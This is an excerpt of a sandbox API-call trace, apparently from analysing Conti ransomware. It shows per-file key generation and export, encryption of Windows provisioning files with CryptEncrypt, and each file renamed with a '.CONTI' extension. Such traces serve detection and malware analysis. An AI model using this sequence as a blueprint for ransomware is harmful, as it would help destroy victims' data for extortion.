	[0111.485] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0111.485] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\397__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0111.486] GetProcessHeap () returned 0x1720000
	[0111.486] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.486] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0111.486] GetProcessHeap () returned 0x1720000
	[0111.486] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b80d10 | out: hHeap=0x1720000) returned 1
	[0111.486] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0111.486] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17f6240 | out: phKey=0x17f6240*=0x17c7b30) returned 1
	[0111.487] CryptExportKey (in: hKey=0x17c7b30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f6244, pdwDataLen=0x483fb8c | out: pbData=0x17f6244*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0111.487] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.487] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0111.488] GetLastError () returned 0x0
	[0111.488] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=713) returned 1
	[0111.488] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0111.488] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.488] SetEndOfFile (hFile=0x30c) returned 1
	[0111.488] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.488] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.488] WriteFile (in: hFile=0x30c, lpBuffer=0x17f6244*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17f6244*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0112.686] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.686] ReadFile (in: hFile=0x30c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x2c9, lpOverlapped=0x0) returned 1
	[0112.686] CryptEncrypt (in: hKey=0x17c7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2c9, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2d0) returned 1
	[0112.686] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.686] WriteFile (in: hFile=0x30c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.686] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.686] WriteFile (in: hFile=0x30c, lpBuffer=0x17f6238*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17f6238*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0112.686] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.686] CloseHandle (hObject=0x30c) returned 1
	[0112.821] GetProcessHeap () returned 0x1720000
	[0112.821] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.213] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml"
	[0114.213] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.213] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\398__connections_cellular_cell-c (south africa)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.214] GetProcessHeap () returned 0x1720000
	[0114.214] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.214] CryptDestroyKey (hKey=0x17c7b30) returned 1
	[0114.214] GetProcessHeap () returned 0x1720000
	[0114.214] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656d580 | out: hHeap=0x1720000) returned 1
	[0114.214] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0114.214] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6b50048 | out: phKey=0x6b50048*=0x17c7d30) returned 1
	[0114.214] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5004c, pdwDataLen=0x483fb8c | out: pbData=0x6b5004c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0114.215] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml")) returned 0x20
	[0114.215] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0114.216] GetLastError () returned 0x0
	[0114.216] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=456) returned 1
	[0114.216] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c8
	[0114.216] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.216] SetEndOfFile (hFile=0x30c) returned 1
	[0114.216] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.216] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.216] WriteFile (in: hFile=0x30c, lpBuffer=0x6b5004c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6b5004c*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.219] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.219] ReadFile (in: hFile=0x30c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x1c8, lpOverlapped=0x0) returned 1
	[0114.219] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1c8, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1d0) returned 1
	[0114.219] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.219] WriteFile (in: hFile=0x30c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.219] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.219] WriteFile (in: hFile=0x30c, lpBuffer=0x6b50040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6b50040*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0114.219] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.219] CloseHandle (hObject=0x30c) returned 1
	[0114.219] GetProcessHeap () returned 0x1720000
	[0114.219] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.219] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml"
	[0114.219] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml.CONTI"
	[0114.219] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\722__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml.conti")) returned 1
	[0114.220] GetProcessHeap () returned 0x1720000
	[0114.220] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.220] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0114.220] GetProcessHeap () returned 0x1720000
	[0114.220] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18162e8 | out: hHeap=0x1720000) returned 1
	[0114.220] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0114.220] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e730 | out: phKey=0x6b4e730*=0x17c7b30) returned 1
	[0114.220] CryptExportKey (in: hKey=0x17c7b30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e734, pdwDataLen=0x483fb8c | out: pbData=0x6b4e734*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0114.221] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml")) returned 0x20
	[0114.221] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0114.222] GetLastError () returned 0x0
	[0114.222] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=447) returned 1
	[0114.222] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1bf
	[0114.222] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.222] SetEndOfFile (hFile=0x30c) returned 1
	[0114.226] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.226] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.226] WriteFile (in: hFile=0x30c, lpBuffer=0x6b4e734*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6b4e734*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.229] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.229] ReadFile (in: hFile=0x30c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x1bf, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x1bf, lpOverlapped=0x0) returned 1
	[0114.229] CryptEncrypt (in: hKey=0x17c7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1bf, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x1c0) returned 1
	[0114.230] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.230] WriteFile (in: hFile=0x30c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x1c0, lpOverlapped=0x0) returned 1
	[0114.230] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.230] WriteFile (in: hFile=0x30c, lpBuffer=0x6b4e728*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6b4e728*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0114.230] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.230] CloseHandle (hObject=0x30c) returned 1
	[0114.230] GetProcessHeap () returned 0x1720000
	[0114.230] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.230] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml"
	[0114.230] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml.CONTI"
	[0114.230] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml.conti")) returned 1
	[0114.231] GetProcessHeap () returned 0x1720000
	[0114.231] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.231] CryptDestroyKey (hKey=0x17c7b30) returned 1
	[0114.231] GetProcessHeap () returned 0x1720000
	[0114.231] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c8780 | out: hHeap=0x1720000) returned 1
	[0114.231] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0114.231] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f728 | out: phKey=0x6b4f728*=0x17c7b30) returned 1
	[0114.231] CryptExportKey (in: hKey=0x17c7b30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f72c, pdwDataLen=0x483fb8c | out: pbData=0x6b4f72c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0114.232] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.232] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0114.233] GetLastError () returned 0x0
	[0114.233] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=730) returned 1
	[0114.233] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2da
	[0114.233] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.233] SetEndOfFile (hFile=0x30c) returned 1
	[0114.233] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.233] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
